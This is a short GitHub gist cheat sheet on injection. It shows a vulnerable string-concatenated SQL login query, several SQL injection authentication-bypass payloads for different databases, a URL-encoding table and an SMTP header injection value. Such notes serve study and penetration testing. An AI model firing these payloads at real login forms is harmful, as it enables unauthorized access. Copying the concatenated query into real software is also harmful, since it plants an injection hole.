Skip to content

Instantly share code, notes, and snippets.

@ruevaughn
Last active August 21, 2021 04:51
Show Gist options
  • Save ruevaughn/fb6362f7338d934d0f8c7aa0d40695c1 to your computer and use it in GitHub Desktop.
Save ruevaughn/fb6362f7338d934d0f8c7aa0d40695c1 to your computer and use it in GitHub Desktop.
query = "SELECT * FROM users WHERE name='" + user + "' AND password='" + password + "'";
SELECT * FROM users WHERE name='jane' AND password='x' OR '1'='1';
- MySQL, MSSQL, Oracle, PostgreSQL, SQLite:
OWASP TOP 10 2013-2021 #1 Vulnerability: Injection
# SQLinjection
' OR '1'='1' -- ' OR '1'='1' /*
' UNION SELECT 'admin' AS password# Password = admin
-- MySQL:
' OR '1'='1' #
-- Access (using null characters):
' OR '1'='1' %00 ' OR '1'='1' %16
# URL Encoding
URL Encoding Character
%20 space
%22 "
%27 '
%28 (
%29 )
%2C ,
# SMTP Header Injection into name or other fields
Joe\[email protected]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment